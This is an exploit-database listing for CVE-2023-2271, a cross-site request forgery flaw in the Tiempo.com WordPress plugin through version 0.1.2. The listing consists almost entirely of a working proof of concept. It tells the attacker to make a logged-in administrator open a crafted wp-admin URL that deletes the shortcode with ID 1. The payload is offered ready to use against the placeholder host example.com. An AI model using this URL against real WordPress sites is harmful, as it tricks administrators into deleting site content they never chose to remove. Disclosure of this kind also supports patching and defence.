Exploit for Tiempo.com <= 0.1.2 - Shortcode Deletion via CSRF CVE-2023-2271

Name: Exploit for Tiempo.com <= 0.1.2 - Shortcode Deletion via CSRF CVE-2023-2271
Rating: 5 (93 reviews)

2023-04-25 | CVSS 6.9

## https://sploitus.com/exploit?id=WPEX-ID:31512F33-C310-4B36-B665-19293097CC8B
Make a logged in admin open the URL below, this will make them delete the shortcode with ID 1

https://example.com/wp-admin/admin.php?page=tiempocom/app/admin.php&action=delete&shortcode=1